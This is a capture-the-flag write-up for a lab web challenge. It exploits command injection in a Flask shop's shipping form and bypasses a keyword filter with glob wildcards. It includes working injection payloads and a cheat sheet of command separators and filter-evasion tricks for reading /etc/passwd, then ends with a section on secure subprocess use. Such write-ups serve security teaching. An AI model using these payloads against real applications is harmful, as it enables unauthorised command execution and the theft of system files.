Магазин (Gadget Shop)
Магазин (Gadget Shop)
Platform: hl_hacker | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2025-12-21 | Status: Solved Techniques: Command Injection via semicolon separator, Filter bypass using glob wildcards (fl* instead of flag), Shell command execution through user input
Summary
Task: Web application with shipping cost calculator form. Solution: Command injection via semicolon separator in zip_code parameter, filter bypass using glob wildcard (fl* instead of flag) to read flag.txt.
Магазин (Gadget Shop) — hl_hacker
Description
Узнай сколько стоит доставка до твоего дома (Find out how much delivery to your home costs)
URL: http://193.84.2.15:16000
Analysis
1. Reconnaissance
"Gadget Shop" web application — an online gadget store with a shipping cost calculator form. The form sends a POST request to /shipping with parameters:
product_id— product identifierzip_code— postal code
Server: Werkzeug/3.1.4 Python/3.11.13 (Flask application)
2. Vulnerability Discovery
Various injection techniques were tested:
| Technique | Payload | Result |
|---|---|---|
| SSTI | {{7*7}} | No execution |
| SQLi | ' OR 1=1-- | No SQL errors |
| Command Injection | ;pwd | ✅ Output /app |
Command Injection confirmed! The zip_code parameter is passed to a shell command without sanitization.
3. Filesystem Exploration
bash read-only • copy allowed# Current directory ;pwd # Result: /app # List files ;ls /app # Result: app.py, flag.txt, templates, static, ...
4. Filter Discovery
Attempt to read the flag directly:
bash read-only • copy allowed;cat /app/flag.txt
Result: Empty response or error — the word "flag" is filtered!
Solution
Filter Bypass via Wildcard
Using glob pattern fl* instead of flag:
bash read-only • copy allowedcurl -s -X POST http://193.84.2.15:16000/shipping \ --data-urlencode "product_id=laptop" \ --data-urlencode "zip_code=;cat /app/fl*"
The wildcard fl* is expanded by the shell to flag.txt, bypassing the application-side filter.
Alternative Bypass Methods
bash read-only • copy allowed# String concatenation ;cat /app/fla''g.txt ;cat /app/fla""g.txt # Environment variables ;cat /app/fl$()ag.txt # Base64 encoding ;echo ZmxhZy50eHQ= | base64 -d | xargs cat # Backticks ;cat /app/`echo flag`.txt # Hex escape ;cat /app/$'\x66\x6c\x61\x67'.txt
Command Injection Techniques
Command Separators
bash read-only • copy allowed; command # Sequential execution | command # Pipe (output of first command → input of second) || command # Execute if first command failed & command # Background execution && command # Execute if first command succeeded `command` # Command substitution $(command) # Command substitution (POSIX)
Filter Bypass
bash read-only • copy allowed# Wildcards cat /etc/pas*wd cat /???/??ss?? # Concatenation cat /et''c/pas''swd cat /et""c/pas""swd # Variables cat $HOME/../etc/passwd # Base64 echo L2V0Yy9wYXNzd2Q= | base64 -d | xargs cat # Hex cat $'\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64' # Backslash c\at /e\tc/pa\sswd
Defense
python read-only • copy allowed# WRONG - vulnerable to Command Injection import os def calculate_shipping(zip_code): result = os.popen(f"./shipping_calc {zip_code}").read() return result # CORRECT - use subprocess with shell=False import subprocess def calculate_shipping(zip_code): # Input validation if not zip_code.isdigit() or len(zip_code) != 6: raise ValueError("Invalid ZIP code") # Pass arguments as a list (without shell) result = subprocess.run( ["./shipping_calc", zip_code], capture_output=True, text=True, shell=False # IMPORTANT! ) return result.stdout # EVEN BETTER - don't use shell at all import shlex def safe_command(user_input): # Escape for shell (if shell is necessary) safe_input = shlex.quote(user_input) # But it's better to avoid shell=True entirely